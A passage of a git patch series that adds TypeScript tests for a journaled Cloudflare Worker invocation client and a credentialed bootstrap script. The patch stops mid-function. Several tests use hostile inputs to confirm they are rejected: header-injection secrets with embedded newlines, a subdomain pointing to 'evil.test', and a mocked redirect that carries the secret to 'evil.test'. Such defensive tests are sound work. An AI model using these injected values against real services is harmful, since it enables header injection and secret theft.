`operator${String.fromCharCode(code)}token`, + fetch: fetchRequest, + }), + ).toThrow('invalid-input'); + expect(reserveInvocation).not.toHaveBeenCalled(); + expect(fetchRequest).not.toHaveBeenCalled(); + expect(f.journal.snapshot().invocationCount).toBe(0); + }); + + it('reserves the exact once-serialized body before sending to attested ingress and settles the real HTTP envelope', async () => { + const f = await fixture(); + const toJSON = vi.fn(() => ({ + kind: 'migration-continue', + token: { private: CLAIM }, + })); + const result = { status: 'pending', token: { private: CLAIM } }; + const fetchRequest = vi.fn(async (url, init) => { + expect(url).toBe( + `https://${f.prepared.names.referenceWorker}.attested-account.workers.dev${DIRECT_REFERENCE_PATH}`, + ); + expect(init).toMatchObject({ + method: 'POST', + cache: 'no-store', + redirect: 'manual', + }); + const request = new Request(url, init); + expect(request.headers.get('authorization')).toBe(`Bearer ${SECRET}`); + expect(request.headers.get('content-type')).toBe('application/json'); + expect(request.headers.get('cache-control')).toBe('no-store'); + expect(request.headers.get('accept')).toBe('application/json'); + expect(typeof init?.body).toBe('string'); + const pending = JSON.parse(await disk(f.journal)); + expect(pending).toMatchObject({ + invocationCount: 1, + lastInvocation: { + state: 'pending', + action: { kind: 'migration-continue' }, + requestSha256: hash(init?.body as string), + }, + }); + const response = await handleDirectReferenceHttpRequest(request, { + configSha256: f.prepared.configSha256, + invokeSecret: SECRET, + invocationTimeoutMs: 1000, + dispatch: async (action) => { + expect(action).toEqual({ + kind: 'migration-continue', + token: { private: CLAIM }, + }); + return result; + }, + }); + for (const [key, value] of Object.entries(responseHeaders)) + response.headers.set(key, value); + return response; + }); + const client = createDirectInvocationClient({ + ...f.options, + fetch: fetchRequest, + }); + await expect( + client.invoke({ toJSON } as unknown as DirectReferenceAction), + ).resolves.toEqual({ result, attempts }); + expect(toJSON).toHaveBeenCalledTimes(1); + expect(fetchRequest).toHaveBeenCalledTimes(1); + expect(f.journal.snapshot().lastInvocation?.state).toBe('settled'); + const bytes = await disk(f.journal); + expect(bytes).not.toContain(CLAIM); + expect(bytes).not.toContain(SECRET); + expect(bytes).not.toContain('"token"'); + }); + + it('binds the response to the serialized action despite caller mutation while reserving', async () => { + const f = await fixture(); + const action = { kind: 'migration-continue' } as { kind: string }; + let reserved!: () => void; + const ready = new Promise((resolve) => { + reserved = resolve; + }); + let release!: () => void; + const gate = new Promise((resolve) => { + release = resolve; + }); + const journal: DirectRunJournal = { + ...f.journal, + reserveInvocation: async (body) => { + const reservation = await f.journal.reserveInvocation(body); + reserved(); + await gate; + return reservation; + }, + }; + const fetchRequest = vi.fn(async () => + f.response(f.success('migration-continue')), + ); + const client = createDirectInvocationClient({ + ...f.options, + journal, + fetch: fetchRequest, + }); + const invocation = client.invoke(action as DirectReferenceAction); + await ready; + action.kind = 'force-recovery'; + release(); + await expect(invocation).resolves.toMatchObject({ attempts }); + expect( + JSON.parse(fetchRequest.mock.calls[0]?.[1]?.body as string).action.kind, + ).toBe('migration-continue'); + }); + + it('settles controlled migration response loss and resumes the spent budget without storing secrets', async () => { + const f = await fixture(2); + const fetchRequest = vi.fn(async () => + f.response( + { + contractVersion: 1, + ok: false, + error: { code: 'injected-response-loss' }, + }, + 503, + ), + ); + const client = createDirectInvocationClient({ + ...f.options, + fetch: fetchRequest, + }); + await expect( + client.invoke({ kind: 'migration-continue', token: CLAIM }), + ).rejects.toMatchObject({ code: 'injected-response-loss', attempts }); + await closed(f.journal); + const journal = await opened({ ...f.input, mode: 'resume' }); + expect(journal.snapshot()).toMatchObject({ + invocationCount: 1, + lastInvocation: { state: 'settled' }, + }); + fetchRequest.mockImplementation(async () => f.response()); + const resumed = createDirectInvocationClient({ + ...f.options, + journal, + fetch: fetchRequest, + }); + await expect( + resumed.invoke({ kind: 'control-read' }), + ).resolves.toMatchObject({ attempts }); + await expect( + resumed.invoke({ kind: 'control-read' }), + ).rejects.toMatchObject({ code: 'invocation-budget-exhausted' }); + expect(fetchRequest).toHaveBeenCalledTimes(2); + const bytes = await disk(journal); + expect(bytes).not.toContain(CLAIM); + expect(bytes).not.toContain(SECRET); + }); + + it.each([ + 'subdomain-url', + 'subdomain-port', + 'subdomain-path', + 'subdomain-newline', + 'subdomain-label', + 'secret-newline', + 'secret-nul', + 'secret-space', + 'secret-empty', + 'secret-unicode', + 'worker-name', + 'config-hash', + 'module-hash', + 'budget', + 'timeout', + ])('rejects invalid or mismatched construction before reservation: %s', async (kind) => { + const f = await fixture(); + const fetchRequest = vi.fn(); + const options = { + ...f.options, + prepared: structuredClone(f.prepared), + fetch: fetchRequest, + }; + const changed = options as unknown as { + accountWorkersDevSubdomain: string; + invokeSecret: string; + prepared: { + names: { referenceWorker: string }; + configSha256: string; + referenceModuleSetSha256: string; + config: { + referenceWorker: { + maxInvocations: number; + invocationTimeoutMs: number; + }; + }; + }; + }; + switch (kind) { + case 'subdomain-url': + changed.accountWorkersDevSubdomain = 'https://evil.test'; + break; + case 'subdomain-port': + changed.accountWorkersDevSubdomain = 'account:8443'; + break; + case 'subdomain-path': + changed.accountWorkersDevSubdomain = 'account/path'; + break; + case 'subdomain-newline': + changed.accountWorkersDevSubdomain = 'account\n'; + break; + case 'subdomain-label': + changed.accountWorkersDevSubdomain = 'a'.repeat(64); + break; + case 'secret-newline': + changed.invokeSecret = `${SECRET}\nInjected: value`; + break; + case 'secret-nul': + changed.invokeSecret = `${SECRET}\0`; + break; + case 'secret-space': + changed.invokeSecret = `${SECRET} `; + break; + case 'secret-empty': + changed.invokeSecret = ''; + break; + case 'secret-unicode': + changed.invokeSecret = 'secret\u0100'; + break; + case 'worker-name': + changed.prepared.names.referenceWorker = 'other-worker'; + break; + case 'config-hash': + changed.prepared.configSha256 = 'b'.repeat(64); + break; + case 'module-hash': + changed.prepared.referenceModuleSetSha256 = 'b'.repeat(64); + break; + case 'budget': + changed.prepared.config.referenceWorker.maxInvocations++; + break; + case 'timeout': + changed.prepared.config.referenceWorker.invocationTimeoutMs = 0; + break; + } + expect(() => createDirectInvocationClient(options)).toThrow( + 'invalid-input', + ); + expect(fetchRequest).not.toHaveBeenCalled(); + expect(f.journal.snapshot().invocationCount).toBe(0); + }); + + it.each([ + 'invalid-action', + 'serialization', + 'reservation-callback', + 'reservation-fsync', + ])('does not dispatch after rejected reservation: %s', async (kind) => { + const f = await fixture(); + const fetchRequest = vi.fn(); + let journal = f.journal; + let action: unknown = { kind: 'control-read' }; + if (kind === 'invalid-action') + action = { kind: 'force-recovery', arbitrary: SECRET }; + if (kind === 'serialization') + action = { + toJSON() { + throw new Error(SECRET); + }, + }; + if (kind === 'reservation-callback') + journal = { + ...journal, + async reserveInvocation() { + throw new Error(SECRET); + }, + }; + if (kind === 'reservation-fsync') { + const file = await open(f.configPath); + const prototype = Object.getPrototypeOf(file); + await file.close(); + vi.spyOn(prototype, 'sync').mockRejectedValueOnce(new Error(SECRET)); + } + const client = createDirectInvocationClient({ + ...f.options, + journal, + fetch: fetchRequest, + }); + await expect( + client.invoke(action as DirectReferenceAction), + ).rejects.toMatchObject({ code: 'invalid-input' }); + expect(fetchRequest).not.toHaveBeenCalled(); + expect(f.journal.snapshot().invocationCount).toBe(0); + }); + + it.each([ + 'generic-503', + 'wrong-503-action', + 'extra-503-field', + 'wrong-503-code', + '503-missing-count', + '503-malformed-count', + 'generic-500', + 'unknown-409', + 'redirect', + 'redirected-200', + 'wrong-run', + 'wrong-action', + 'extra-field', + 'missing-result', + 'wrong-version', + 'invalid-json', + 'cache-header', + 'content-type', + 'missing-count', + 'negative-count', + 'noncanonical-count', + 'infinite-count', + 'unsafe-count', + 'count-budget', + 'invalid-utf8', + 'oversize-declared', + 'oversize-actual', + 'partial-body', + 'network-error', + 'hostile-rejection', + ])('retains pending state and refuses resume for an unaccepted exchange: %s', async (kind) => { + const f = await fixture(); + const body = f.success(); + let response: Response; + if (kind.includes('503')) { + const value: Record = { + contractVersion: 1, + ok: false, + error: { + code: + kind === 'wrong-503-code' + ? 'operation-refused' + : 'injected-response-loss', + }, + }; + if (kind === 'extra-503-field') value.extra = true; + response = f.response( + kind === 'generic-503' ? { error: SECRET } : value, + 503, + ); + } else if (kind === 'generic-500' || kind === 'unknown-409') + response = f.response( + { + contractVersion: 1, + ok: false, + error: { + code: kind === 'generic-500' ? 'operation-refused' : SECRET, + }, + }, + kind === 'generic-500' ? 500 : 409, + ); + else if (kind === 'redirect') + response = new Response(null, { + status: 302, + headers: { location: `https://evil.test/${SECRET}` }, + }); + else if (kind === 'invalid-utf8') + response = new Response(new Uint8Array([0xff]), { + headers: responseHeaders, + }); + else if (kind === 'oversize-actual') + response = new Response(new Uint8Array(4 * 1024 * 1024 + 1), { + headers: { ...responseHeaders, 'Content-Length': '1' }, + }); + else if (kind === 'invalid-json') + response = new Response(SECRET, { headers: responseHeaders }); + else if (kind === 'partial-body') + response = new Response( + new ReadableStream({ + start(controller) { + controller.enqueue(new TextEncoder().encode(JSON.stringify(body))); + controller.error(new Error(SECRET)); + }, + }), + { headers: responseHeaders }, + ); + else { + if (kind === 'wrong-run') body.configSha256 = 'f'.repeat(64); + if (kind === 'wrong-action') body.action = 'force-recovery'; + if (kind === 'wrong-version') body.contractVersion = 2; + if (kind === 'extra-field') Object.assign(body, { secret: SECRET }); + if (kind === 'missing-result') Reflect.deleteProperty(body, 'result'); + response = f.response(body); + } + if (kind === 'redirected-200') + Object.defineProperty(response, 'redirected', { value: true }); + if (kind === 'cache-header') response.headers.delete('Cache-Control'); + if (kind === 'content-type') + response.headers.set('Content-Type', 'text/plain'); + if (kind === 'missing-count' || kind === '503-missing-count') + response.headers.delete('X-Direct-Provider-Attempts'); + if (kind === '503-malformed-count') + response.headers.set('X-Direct-Application-Attempts', '0.0'); + if (kind === 'negative-count') + response.headers.set('X-Direct-Provider-Attempts', '-1'); + if (kind === 'noncanonical-count') + response.headers.set('X-Direct-Provider-Attempts', '01'); + if (kind === 'infinite-count') + response.headers.set('X-Direct-Provider-Attempts', 'Infinity'); + if (kind === 'unsafe-count') + response.headers.set('X-Direct-Provider-Attempts', '9007199254740992'); + if (kind === 'count-budget') + response.headers.set( + 'X-Direct-Provider-Attempts', + String(f.prepared.config.referenceWorker.maxProviderRequests), + ); + if (kind === 'oversize-declared') + response.headers.set('Content-Length', String(4 * 1024 * 1024 + 1)); + await expectUnknown( + f, + async () => { + if (kind === 'network-error') throw new Error(SECRET, { cause: CLAIM }); + if (kind === 'hostile-rejection') { + const { proxy, revoke } = Proxy.revocable({}, {}); + revoke(); + throw proxy; + } + return response; + }, + { + kind: + kind.includes('503') && kind !== 'wrong-503-action' + ? 'migration-continue' + : 'control-read', + }, + ); + }); + + it('accepts a response exactly at the byte cap and preserves zero-attempt replay evidence', async () => { + const f = await fixture(); + const empty = JSON.stringify(f.success('control-read', '')); + const response = f.response( + f.success( + 'control-read', + 'a'.repeat(4 * 1024 * 1024 - Buffer.byteLength(empty)), + ), + ); + for (const name of ['Provider', 'Maintenance', 'Application']) + response.headers.set(`X-Direct-${name}-Attempts`, '0'); + const client = createDirectInvocationClient({ + ...f.options, + fetch: async () => response, + }); + const result = await client.invoke({ kind: 'control-read' }); + expect(result.attempts).toEqual({ + provider: 0, + maintenance: 0, + application: 0, + }); + expect(f.journal.snapshot().lastInvocation?.state).toBe('settled'); + }); + + it.each([ + ['operation-refused', 409], + ['wrong-operation', 409], + ['missing-continuation', 409], + ['budget-exhausted', 503], + ] as const)('settles the exact execution refusal %s/%s before permitting another budgeted call', async (code, status) => { + const f = await fixture(2); + const fetchRequest = vi.fn(async () => + f.response({ contractVersion: 1, ok: false, error: { code } }, status), + ); + const client = createDirectInvocationClient({ + ...f.options, + fetch: fetchRequest, + }); + await expect( + client.invoke({ kind: 'recover-force-residual' }), + ).rejects.toMatchObject({ + code: 'reference-refused', + referenceCode: code, + attempts, + }); + expect(f.journal.snapshot().lastInvocation?.state).toBe('settled'); + await closed(f.journal); + const journal = await opened({ ...f.input, mode: 'resume' }); + fetchRequest.mockImplementation(async () => f.response()); + const resumed = createDirectInvocationClient({ + ...f.options, + journal, + fetch: fetchRequest, + }); + await resumed.invoke({ kind: 'control-read' }); + expect(journal.snapshot().invocationCount).toBe(2); + expect(fetchRequest).toHaveBeenCalledTimes(2); + }); + + it('refuses overlapping calls without another dispatch or reservation', async () => { + const f = await fixture(); + let release!: (value: Response) => void; + const deferred = new Promise((resolve) => { + release = resolve; + }); + const fetchRequest = vi.fn(async () => deferred); + const client = createDirectInvocationClient({ + ...f.options, + fetch: fetchRequest, + }); + const first = client.invoke({ kind: 'control-read' }); + await expect( + client.invoke({ kind: 'force-recovery' }), + ).rejects.toMatchObject({ code: 'invocation-busy' }); + await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1)); + expect(f.journal.snapshot().invocationCount).toBe(1); + release(f.response()); + await first; + fetchRequest.mockImplementation(async () => f.response()); + await client.invoke({ kind: 'control-read' }); + expect(fetchRequest).toHaveBeenCalledTimes(2); + }); + + it.each([ + 'callback', + 'fsync', + ])('refuses later dispatch when durable settlement fails: %s', async (kind) => { + const f = await fixture(); + let journal = f.journal; + if (kind === 'callback') + journal = { + ...journal, + async settleInvocation() { + throw new Error(SECRET); + }, + }; + const fetchRequest = vi.fn(async () => { + if (kind === 'fsync') { + const file = await open(f.configPath); + const prototype = Object.getPrototypeOf(file); + await file.close(); + vi.spyOn(prototype, 'sync').mockRejectedValueOnce(new Error(SECRET)); + } + return f.response(); + }); + const client = createDirectInvocationClient({ + ...f.options, + journal, + fetch: fetchRequest, + }); + await expect(client.invoke({ kind: 'control-read' })).rejects.toMatchObject( + { code: 'outcome-unknown' }, + ); + await expect(client.invoke({ kind: 'control-read' })).rejects.toMatchObject( + { code: 'outcome-unknown' }, + ); + expect(fetchRequest).toHaveBeenCalledTimes(1); + expect(f.journal.snapshot().lastInvocation?.state).toBe('pending'); + await closed(f.journal); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'outcome-unknown' }); + }); + + it.each([ + 'headers', + 'incomplete', + 'cancel-pending', + 'cancel-rejects', + 'oversize-cancel-pending', + ])('bounds abort-insensitive %s without settling or unhandled rejection', async (kind) => { + const f = await fixture(3, 50); + let releaseHeaders!: (value: Response) => void; + const late = new Promise((resolve) => { + releaseHeaders = resolve; + }); + const cancel = vi.fn(() => + kind === 'cancel-rejects' + ? Promise.reject(new Error(SECRET)) + : kind === 'incomplete' + ? Promise.resolve() + : new Promise(() => {}), + ); + const response = new Response( + new ReadableStream({ + start(controller) { + controller.enqueue( + kind === 'oversize-cancel-pending' + ? new Uint8Array(4 * 1024 * 1024 + 1) + : new TextEncoder().encode(JSON.stringify(f.success())), + ); + }, + cancel, + }), + { headers: responseHeaders }, + ); + const unhandled: unknown[] = []; + const listener = (error: unknown) => { + unhandled.push(error); + }; + process.on('unhandledRejection', listener); + const began = performance.now(); + try { + await expectUnknown(f, async () => + kind === 'headers' ? late : response, + ); + expect(performance.now() - began).toBeLessThan(1000); + if (kind === 'headers') releaseHeaders(response); + await vi.waitFor(() => expect(cancel).toHaveBeenCalled()); + await new Promise((resolve) => setImmediate(resolve)); + expect(unhandled).toEqual([]); + } finally { + process.off('unhandledRejection', listener); + releaseHeaders(response); + } + }); +}); From 17f1a4e3989d769a4f43e84b5771d40ffbe9acc1 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 20:57:50 +0400 Subject: [PATCH 130/169] feat(fleet-control): bootstrap owned direct reference infrastructure --- .../direct-credentialed-bootstrap.d.mts | 30 + .../scripts/direct-credentialed-bootstrap.mjs | 1053 ++++++++++++ .../direct-credentialed-run-state.d.mts | 78 +- .../scripts/direct-credentialed-run-state.mjs | 311 +++- .../direct-credentialed-bootstrap.test.ts | 1434 +++++++++++++++++ .../direct-credentialed-run-state.test.ts | 367 +++++ 6 files changed, 3265 insertions(+), 8 deletions(-) create mode 100644 packages/fleet-control/scripts/direct-credentialed-bootstrap.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs create mode 100644 packages/fleet-control/test/direct-credentialed-bootstrap.test.ts diff --git a/packages/fleet-control/scripts/direct-credentialed-bootstrap.d.mts b/packages/fleet-control/scripts/direct-credentialed-bootstrap.d.mts new file mode 100644 index 00000000..203410e5 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-bootstrap.d.mts @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; +import type { DirectInvocationClient } from './direct-credentialed-invocation.mjs'; +import type { DirectRunJournal } from './direct-credentialed-run-state.mjs'; + +export type DirectBootstrapErrorCode = + | 'invalid-input' + | 'provider-unavailable' + | 'observation-mismatch' + | 'name-collision' + | 'outcome-unknown' + | 'budget-exhausted' + | 'invocation-budget-exhausted' + | 'reference-refused'; + +export class DirectBootstrapError extends Error { + readonly code: DirectBootstrapErrorCode; + constructor(code?: DirectBootstrapErrorCode); +} + +export function bootstrapDirectConformance( + input: Readonly<{ + prepared: PreparedDirectConformance; + journal: DirectRunJournal; + apiToken: string; + invokeSecret: string; + fetch?: typeof fetch; + }>, +): Promise; diff --git a/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs b/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs new file mode 100644 index 00000000..244775c9 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs @@ -0,0 +1,1053 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { validateHeaderValue } from 'node:http'; +import { isDeepStrictEqual } from 'node:util'; + +const API_BASE = 'https://api.cloudflare.com/client/v4'; +const MAX_ATTEMPTS = 512; +const MAX_DURATION_MS = 300_000; +const MAX_JSON_BYTES = 8 * 1024 * 1024; +const ERROR_CODES = new Set([ + 'invalid-input', + 'provider-unavailable', + 'observation-mismatch', + 'name-collision', + 'outcome-unknown', + 'budget-exhausted', + 'invocation-budget-exhausted', + 'reference-refused', +]); + +export class DirectBootstrapError extends Error { + constructor(code = 'invalid-input') { + const accepted = ERROR_CODES.has(code) ? code : 'invalid-input'; + super(accepted); + this.name = 'DirectBootstrapError'; + this.code = accepted; + } +} + +function refuse(code = 'observation-mismatch') { + throw new DirectBootstrapError(code); +} + +function object(value) { + if (!value || typeof value !== 'object' || Array.isArray(value)) refuse(); + return value; +} + +function identifier(value, max = 128) { + if ( + typeof value !== 'string' || + !value || + value !== value.trim() || + value.length > max || + [...value].some( + (character) => + character.charCodeAt(0) <= 31 || character.charCodeAt(0) === 127, + ) + ) + refuse(); + return value; +} + +function equal(value, expected) { + if (!isDeepStrictEqual(value, expected)) refuse(); +} + +function auth(value) { + if (typeof value !== 'string' || !value || value !== value.trim()) + refuse('invalid-input'); + const header = `Bearer ${value}`; + validateHeaderValue('Authorization', header); + if (new Headers({ Authorization: header }).get('authorization') !== header) + refuse('invalid-input'); +} + +function cancel(response) { + try { + void response?.body?.cancel().catch(() => {}); + } catch { + /* The abortable pipe owns a locked source. */ + } +} + +async function checkedInput(input) { + const { validateDirectConformanceConfig, deriveDirectConformanceNames } = + await import('./direct-credentialed-conformance-config.mjs'); + const { DIRECT_MANIFEST_MODULE, DIRECT_MAX_UPLOAD_BYTES } = await import( + './direct-credentialed-conformance-preflight.mjs' + ); + try { + const prepared = structuredClone(input.prepared); + const config = validateDirectConformanceConfig(prepared.config); + equal(config, prepared.config); + equal(prepared.names, deriveDirectConformanceNames(config)); + const journal = input.journal; + for (const method of [ + 'snapshot', + 'bindBootstrapContext', + 'beginBootstrapMutation', + 'confirmBootstrapMutation', + 'recordBootstrapObservation', + 'reserveInvocation', + 'settleInvocation', + ]) { + if (typeof journal[method] !== 'function') refuse('invalid-input'); + } + const snapshot = journal.snapshot(); + if ( + snapshot.version !== 2 || + !Number.isSafeInteger(snapshot.invocationCount) || + snapshot.invocationCount < 0 || + snapshot.invocationCount > config.referenceWorker.maxInvocations || + !Object.hasOwn(snapshot, 'bootstrap') || + !Object.hasOwn(snapshot, 'lastInvocation') + ) + refuse('invalid-input'); + const binding = snapshot.binding; + identifier(binding.accountId); + equal(binding, { + accountId: binding.accountId, + configSha256: prepared.configSha256, + referenceModuleSetSha256: prepared.referenceModuleSetSha256, + resourcePrefix: config.resourcePrefix, + maxInvocations: config.referenceWorker.maxInvocations, + }); + if ( + ![prepared.configSha256, prepared.referenceModuleSetSha256].every( + (hash) => typeof hash === 'string' && /^[a-f0-9]{64}$/u.test(hash), + ) + ) + refuse('invalid-input'); + if ( + snapshot.lastInvocation?.state === 'pending' || + snapshot.bootstrap?.pending + ) + refuse('outcome-unknown'); + if ( + snapshot.invocationCount > 0 && + (!snapshot.bootstrap?.upload || !snapshot.bootstrap?.ingress) + ) + refuse('invalid-input'); + if (snapshot.bootstrap) { + equal(snapshot.bootstrap.context.names, prepared.names); + await journal.bindBootstrapContext(snapshot.bootstrap.context); + } + if ( + !Array.isArray(prepared.referenceModules) || + prepared.referenceModules.length < 2 + ) + refuse('invalid-input'); + const seen = new Set(); + const table = prepared.referenceModules.map((module) => { + identifier(module.name, 255); + if (seen.has(module.name) || module.name === 'metadata') + refuse('invalid-input'); + seen.add(module.name); + let bytes; + if ( + module.contentType === 'application/javascript+module' && + typeof module.source === 'string' + ) + bytes = Buffer.from(module.source); + else if ( + module.contentType === 'application/wasm' && + typeof module.base64 === 'string' + ) { + bytes = Buffer.from(module.base64, 'base64'); + if (bytes.toString('base64') !== module.base64) refuse('invalid-input'); + } else refuse('invalid-input'); + if ( + bytes.length !== module.byteLength || + createHash('sha256').update(bytes).digest('hex') !== module.sha256 + ) + refuse('invalid-input'); + return { + name: module.name, + contentType: module.contentType, + byteLength: module.byteLength, + sha256: module.sha256, + }; + }); + const [main, manifest] = prepared.referenceModules; + if ( + main.name !== config.referenceWorker.artifact.mainModule || + main.sha256 !== config.referenceWorker.artifact.sha256 || + manifest.name !== DIRECT_MANIFEST_MODULE || + manifest.source !== + `export default ${JSON.stringify(prepared.manifest)};\n` || + prepared.manifest.configSha256 !== prepared.configSha256 + ) + refuse('invalid-input'); + equal(prepared.manifest.names, prepared.names); + const { artifact: referenceArtifact, ...referenceRuntime } = + config.referenceWorker; + const { + artifact: tenantArtifact, + spec, + ...deploymentRuntime + } = config.deployment; + equal(prepared.manifest.referenceRuntime, referenceRuntime); + equal(prepared.manifest.deploymentRuntime, deploymentRuntime); + if ( + prepared.manifest.resourcePrefix !== config.resourcePrefix || + prepared.manifest.environment !== config.environment || + prepared.manifest.contractVersion !== config.contractVersion || + prepared.manifest.fixtureVersion !== spec.fixtureVersion || + prepared.manifest.interruption !== config.interruption || + prepared.manifest.tenantModule.name !== tenantArtifact.mainModule || + prepared.manifest.tenantModule.sha256 !== tenantArtifact.sha256 + ) + refuse('invalid-input'); + equal( + prepared.referenceModules + .slice(2) + .map(({ name, sha256 }) => ({ name, sha256 })), + (referenceArtifact.auxiliaryWasm ?? []).map(({ name, sha256 }) => ({ + name, + sha256, + })), + ); + if ( + createHash('sha256').update(JSON.stringify(table)).digest('hex') !== + prepared.referenceModuleSetSha256 || + table.reduce((sum, module) => sum + module.byteLength, 0) !== + prepared.referenceUploadBytes || + prepared.referenceUploadBytes > DIRECT_MAX_UPLOAD_BYTES + ) + refuse('invalid-input'); + auth(input.apiToken); + auth(input.invokeSecret); + const fetchRequest = input.fetch ?? globalThis.fetch; + if (typeof fetchRequest !== 'function') refuse('invalid-input'); + return { + prepared, + journal, + accountId: binding.accountId, + apiToken: input.apiToken, + invokeSecret: input.invokeSecret, + fetchRequest, + }; + } catch (error) { + if ( + error instanceof DirectBootstrapError && + error.code === 'outcome-unknown' + ) + throw error; + refuse('invalid-input'); + } +} + +function providerTransport(fetchRequest, timeoutMs) { + const expiresAt = performance.now() + MAX_DURATION_MS; + const active = new Set(); + let attempts = 0; + let failure; + const assertBudget = () => { + if (performance.now() >= expiresAt || attempts >= MAX_ATTEMPTS) { + failure = 'budget-exhausted'; + refuse(failure); + } + }; + return { + assertBudget, + failure: () => failure, + close() { + for (const finish of active) finish(); + }, + async fetch(input, init) { + assertBudget(); + const url = new URL( + typeof input === 'string' || input instanceof URL ? input : input.url, + ); + if ( + url.origin !== 'https://api.cloudflare.com' || + !url.pathname.startsWith('/client/v4/') || + url.username || + url.password || + url.hash + ) + refuse('provider-unavailable'); + attempts += 1; + const controller = new AbortController(); + const signal = AbortSignal.any([ + controller.signal, + ...(init?.signal ? [init.signal] : []), + ]); + const deadline = Math.min(timeoutMs, expiresAt - performance.now()); + let response; + let bounded; + let abort; + let timer; + const finish = () => { + clearTimeout(timer); + signal.removeEventListener('abort', abort); + controller.abort(); + cancel(bounded ?? response); + active.delete(finish); + }; + active.add(finish); + const aborted = new Promise((_, reject) => { + abort = () => reject(new DirectBootstrapError('provider-unavailable')); + signal.addEventListener('abort', abort, { once: true }); + }); + timer = setTimeout(() => controller.abort(), Math.max(1, deadline)); + try { + signal.throwIfAborted(); + const exchange = Promise.resolve( + fetchRequest(input, { ...init, signal, redirect: 'manual' }), + ).then((value) => { + if (signal.aborted) { + cancel(value); + signal.throwIfAborted(); + } + return value; + }); + response = await Promise.race([exchange, aborted]); + if ( + response.redirected || + (response.status >= 300 && response.status < 400) + ) + refuse('provider-unavailable'); + let bytes = 0; + const body = response.body?.pipeThrough( + new TransformStream({ + transform(chunk, output) { + bytes += chunk.byteLength; + if (bytes > MAX_JSON_BYTES) refuse('provider-unavailable'); + output.enqueue(chunk); + }, + }), + { signal }, + ); + bounded = new Response(body, { + status: response.status, + statusText: response.statusText, + headers: response.headers, + }); + return new Proxy(bounded, { + get(target, property) { + const value = Reflect.get(target, property, target); + if ( + ['json', 'text', 'arrayBuffer', 'blob', 'formData'].includes( + property, + ) + ) + return async (...args) => { + try { + return await Promise.race([ + value.apply(target, args), + aborted, + ]); + } finally { + finish(); + } + }; + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + } catch (error) { + finish(); + throw error; + } + }, + }; +} + +function validateEnvelope(value) { + object(value); + if ( + value.success !== true || + (value.errors !== undefined && + (!Array.isArray(value.errors) || value.errors.length !== 0)) + ) + refuse('provider-unavailable'); +} + +function proofFetch(transport, shape, bound) { + return async (input, init) => { + const response = await transport.fetch(input, init); + if (!response.ok || shape === 'status') return response; + const contentType = response.headers.get('content-type') ?? ''; + if ( + !/^application\/(?:json|[a-z0-9.+-]+\+json)(?:\s*;.*)?$/iu.test( + contentType, + ) || + (shape !== 'object' && response.status !== 200) + ) { + cancel(response); + refuse('provider-unavailable'); + } + // SDK parser selection must reach the validated JSON method. + response.headers.set( + 'content-type', + contentType.replace(/^[^;]+/u, (mediaType) => mediaType.toLowerCase()), + ); + const parse = response.json.bind(response); + const json = async () => { + const value = await parse(); + validateEnvelope(value); + if (shape === 'object') object(value.result); + else { + const rows = value.result; + if (!Array.isArray(rows) || rows.length > bound) + refuse('provider-unavailable'); + rows.forEach(object); + const info = value.result_info; + if (info !== undefined) object(info); + const { + cursor, + total_pages: totalPages, + total_count: totalCount, + per_page: perPage, + page, + count, + } = info ?? {}; + const url = new URL( + typeof input === 'string' || input instanceof URL ? input : input.url, + ); + const requestedPage = Number(url.searchParams.get('page') ?? '1'); + if ( + (cursor !== undefined && + cursor !== null && + typeof cursor !== 'string') || + [totalPages, totalCount, perPage, page, count].some( + (number) => + number !== undefined && + (!Number.isSafeInteger(number) || number < 0), + ) || + (page !== undefined && page !== requestedPage) || + (count !== undefined && count !== rows.length) || + (perPage !== undefined && rows.length > perPage) || + (totalCount !== undefined && rows.length > totalCount) || + (totalPages === 0 && rows.length > 0) || + (typeof cursor === 'string' && cursor.length > 0) + ) + refuse('provider-unavailable'); + if (shape === 'single') { + if ( + (totalPages !== undefined && totalPages > 1) || + (totalCount !== undefined && totalCount !== rows.length) + ) + refuse('provider-unavailable'); + } else if ( + rows.length === 0 && + ((totalPages !== undefined && totalPages > requestedPage) || + (totalCount > 0 && + (requestedPage === 1 || + (perPage > 0 && totalCount / perPage > requestedPage - 1)))) + ) + refuse('provider-unavailable'); + } + return value; + }; + return new Proxy(response, { + get(target, property) { + if (property === 'json') return json; + const value = Reflect.get(target, property, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + }; +} + +async function inventory(pages, identity, bound) { + const rows = []; + const seen = new Set(); + let expectedCount = 0; + let expectedPages = 0; + let pageCount = 0; + for await (const page of (await pages).iterPages()) { + pageCount += 1; + expectedCount = Math.max(expectedCount, page.result_info?.total_count ?? 0); + expectedPages = Math.max(expectedPages, page.result_info?.total_pages ?? 0); + for (const row of page.result) { + const keys = identity(row); + if (keys.some((key) => seen.has(key)) || rows.length >= bound) + refuse('provider-unavailable'); + for (const key of keys) seen.add(key); + rows.push(row); + } + } + if (rows.length < expectedCount || pageCount < expectedPages) + refuse('provider-unavailable'); + return rows; +} + +function zone(row, accountId) { + identifier(row.id); + const name = identifier(row.name, 253); + if ( + row.account?.id !== accountId || + name + .split('.') + .some((label) => !/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u.test(label)) + ) + refuse(); + return [`id:${row.id}`, `name:${row.name}`]; +} + +function assertZonePolicy(token, verifiedId, accountId) { + if ( + token.id !== verifiedId || + token.status !== 'active' || + !Array.isArray(token.policies) || + token.policies.length === 0 + ) + refuse(); + const required = [ + ['Zone Read'], + ['Workers Routes Read'], + ['Workers Routes Edit', 'Workers Routes Write'], + ]; + const allowed = new Set(); + for (const policy of token.policies) { + object(policy); + identifier(policy.id); + if ( + !['allow', 'deny'].includes(policy.effect) || + !Array.isArray(policy.permission_groups) || + policy.permission_groups.length === 0 + ) + refuse(); + const names = new Set( + 